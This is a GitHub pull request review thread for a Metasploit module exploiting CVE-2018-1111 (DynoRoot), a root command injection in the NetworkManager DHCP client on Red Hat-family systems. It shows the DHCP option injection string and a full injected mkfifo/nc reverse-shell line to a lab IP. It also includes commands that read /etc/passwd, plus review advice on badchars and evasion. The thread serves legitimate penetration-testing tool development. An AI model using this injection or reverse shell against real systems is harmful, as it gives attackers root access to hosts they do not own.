Add CVE-2018-1111 exploit #10059
Add CVE-2018-1111 exploit #10059
Conversation
| def initialize(info = {}) | ||
| super(update_info(info, | ||
| 'Name' => 'DHCP Client Command Injection (DynoRoot)', | ||
| 'Description' => %q| |
There was a problem hiding this comment.
I believe curl braces are the standard for msf modules.
%q{ }
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| require 'msf/core' |
There was a problem hiding this comment.
require 'msf/core' shouldn't be necessary
There was a problem hiding this comment.
Removed. This should fix the test
``` modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb - [WARNING] Explicitly requiring/loading msf/core is not necessary ``` removes `require msf/core`
|
Build failed due to: |
| @@ -0,0 +1,75 @@ | |||
| ## | |||
| # This module requires Metasploit: http://metasploit.com/download | |||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| require 'rex/proto/dhcp' |
There was a problem hiding this comment.
Already required in the mixin.
There was a problem hiding this comment.
Removed. Good catch!
| def exploit | ||
| hash = datastore.copy | ||
| start_service(hash) | ||
| @dhcp.set_option(proxy_auto_discovery: "x'&#{payload.encoded} #") |
There was a problem hiding this comment.
Feels like you'd have some badchars from the injection. Would be worthwhile to perform badchar analysis and then update BadChars.
There was a problem hiding this comment.
Do you have any suggestions for how to perform that analysis? Unlike a buffer overflow where I can investigate the registers, I don't have a good sense of how I'd do that with a command injection like this
There was a problem hiding this comment.
I'd start by looking at my injection and eliminating as many shell metacharacters or otherwise "breaking" characters as I can.
Then I'd encode away the remaining ones, escape them, quote them, comment them out, or match them. Then I'd verify with strace, ltrace, etc.
It really depends on the vuln, the environment, and the payload. Hope this helps.
There was a problem hiding this comment.
I didn't dig into this vuln deeply yet, but judging by the injection used here, you shouldn't have to worry about too many badchars.
Appears a string is being completed (matched quotes), previous command backgrounded, payload injected, and everything else commented out. It's a tried-and-true technique.
You can probably randomize the x.
There was a problem hiding this comment.
Another thing to watch out for is if you have badchars in the protocol or otherwise over the wire. Sometimes your injection can look solid from the software side but get messed up on the networking side.
Lastly, you may want to account for software or network protections. Something like a WAF would have to be evaded. I don't think that's much of a concern here.
There was a problem hiding this comment.
Added a randomization on the x here
There was a problem hiding this comment.
It's almost certainly not capped at one byte either. Might want to use a longer random-length random string.
There was a problem hiding this comment.
I was under the impression that Space was of concern here.
Edit Apparently space is no longer a concern, in which case: Rex::Text.rand_text_alpha(6..12) to generate 6 to 12 random alpha characters.
There was a problem hiding this comment.
mzdPvddRUFMT'&mkfifo /tmp/klgcql; nc 192.168.41.128 1337 0</tmp/klgcql | /bin/sh >/tmp/klgcql 2>&1; rm /tmp/klgcql #
A few different manual tests I've been doing to see if some shell functionality does or doesn't work:
set CMD cat /etc/passwd | cut -d ':' -f 1 > /tmp/test && cat /tmp/test | cut -d '-' -f 1 > /tmp/test2
set CMD "for i in $(seq -s ' ' 1 255); do ping -c 1 \"192.168.41.${i}\" 2>&1; done > /tmp/pingsweep"
Worked and felt relatively contrived in their design, trying to hit many different types of command characters
| 'Payload' => | ||
| { | ||
| # 255 for a domain name, minus some room for encoding | ||
| 'Space' => 200, |
There was a problem hiding this comment.
I'd have to check the RFC(s), but does this still apply to options?
There was a problem hiding this comment.
Based on RFC2132, seems like it does not.
Options may be fixed length or variable
length. All options begin with a tag octet, which uniquely
identifies the option. Fixed-length options without data consist of
only a tag octet. Only options 0 and 255 are fixed length. All
other options are variable-length with a length octet following the
tag octet. The value of the length octet does not include the two
octets specifying the tag and length. The length octet is followed
by "length" octets of data. Options containing NVT ASCII data SHOULD
NOT include a trailing NULL; however, the receiver of such options
MUST be prepared to delete trailing nulls if they exist. The
receiver MUST NOT require that a trailing null be included in the
data. In the case of some variable-length options the length field
is a constant but must still be specified.
| # 255 for a domain name, minus some room for encoding | ||
| 'Space' => 200, | ||
| 'DisableNops' => true, | ||
| 'Compat' => |
There was a problem hiding this comment.
I'd remove this hash altogether. cmd for PayloadType already includes most, and you're not specifying RequiredCmd. And this vuln isn't targeting an appliance or anything where the environment is known, so we shouldn't need to limit ourselves.
There was a problem hiding this comment.
Removed this for PayloadType cmd instead
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['unix'], | ||
| 'Arch' => ARCH_CMD, | ||
| 'References' => |
There was a problem hiding this comment.
Feel free to include your own PoC in this array. :)
There was a problem hiding this comment.
I'd add an AKA reference for DynoRoot, too.
| 'DisclosureDate' => 'May 15 2018' | ||
| )) | ||
|
|
||
| deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') |
There was a problem hiding this comment.
Might be more to deregister here, such as any PXE options.
There was a problem hiding this comment.
I'll remove FILENAME related to PXE, don't know that any of the others like DHCPIP start and end, BROADCAST, ROUTER, etc. are related to PXE
There was a problem hiding this comment.
Removed FILENAME, others didn't seem like they were related to PXE in show options or show advanced
| 'PayloadType': 'cmd', | ||
| 'Payload' => | ||
| { | ||
| 'DisableNops' => true, |
There was a problem hiding this comment.
Speaking of space, I'm pretty sure this doesn't apply. Nothing to pad with NOPs. This thing doesn't even need NOPs.
|
So as a heads up, this does generate a malformed packet, but it's malformed without the change to how we build the packet in the server.rb file. The question I'd have is should fixing the DHCP server to not generate malformed packets really be something that's included in this PR or should that be potentially broken out as a separate PR / review process? |
|
Found the issue actually. Valid packet with the if statement: Invalid packet without it (you'll notice the OpEnd / padding is instead being picked up as the option, which is incorrect): |
|
Let me know how this looks @wvu-r7 or if you'd like more extensive bad char testing than simply working through some of the main shell control characters (e.g. |
| ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'], | ||
| ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111'] | ||
| ], | ||
| 'PayloadType': 'cmd', |
There was a problem hiding this comment.
This should be a hash rocket for consistency
'PayloadType' => 'cmd',
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['unix'], | ||
| 'Arch' => ARCH_CMD, |
There was a problem hiding this comment.
You can add a 'Privileged' => true, key to this hash somewhere, to show off that your exploit gives remote r00t.
|
The module worked for me on Fedora 27 (x64) (nm version 2.29-6.fc27). |
|
The module worked for me on Centos 7 1708 (x64) (nm version 2.25.1-31.base.el7); however it did not work with the default payload I used the I also tried on CentOS 6.5 (x64) (nm version 2.20.51.0.2-5.36-el6 20100205). An IP address was allocated correctly, however I was unable to get a session. |
|
@kkirsche: You've done an awesome job already. I think this will be good to go come Monday. Thanks! |
|
RHEL 6.6 (x64) (nm version 2.20.51.02-5.42.el6 20100205) received an IP address from DHCP server, but wasn't able to get a session. RHEL 7 Server (x64) (nm version 2.23.52.0.1-16.el7 20130226) received an IP address from DHCP server, but wasn't able to get a session. Tested using |
|
Telnet is not included in CentOS 6.9 with a default installation and does not seem to accept the injection regardless of option or basic modifications such as changing the I do not have access to a RHEL to attempt any form of troubleshooting on that host. |
|
Let me know how you'd like us to try handling this @wvu-r7 |
|
Wanted to follow up on this and see if more action is needed |
|
Ayy, I'm getting to it. |
|
All good, not trying to rush you. Just wanted to make sure that you were not waiting for me on something. If that changes, just give a shout 👍 |
|
Thanks! It looked pretty good at the end of last week. |
Release NotesThis adds an exploit for CVE-2018-1111 (aka "DynoRoot"), a command injection vulnerability against NetworkManager's DHCP client script on Red Hat, CentOS, and Fedora systems. |
|
Thanks for your help reviewing and merging this. Appreciate it! |
|
So sorry for the delay, @kkirsche. Lots going on. I hope that you will contribute again! |
|
No worries. Ive had time like that and sure I will again. Just appreciate getting to help out. You’ll definitely see some more from me :) |
|
🙇 |
Verification
CentOS Linux release 7.4.1708 (Core)with NetworkManager version1.8.0-11.el7_4msfconsoleon Kali Linuxuse exploit/unix/dhcp/rhel_dhcp_client_command_injectionSRVHOSTandNETMASKrequired variablesPAYLOADand supporting optionsens33, you can use:clear && nmcli conn down id "ens33" && nmcli conn up id "ens33" && ip addr showNot included :(Validated using RC File: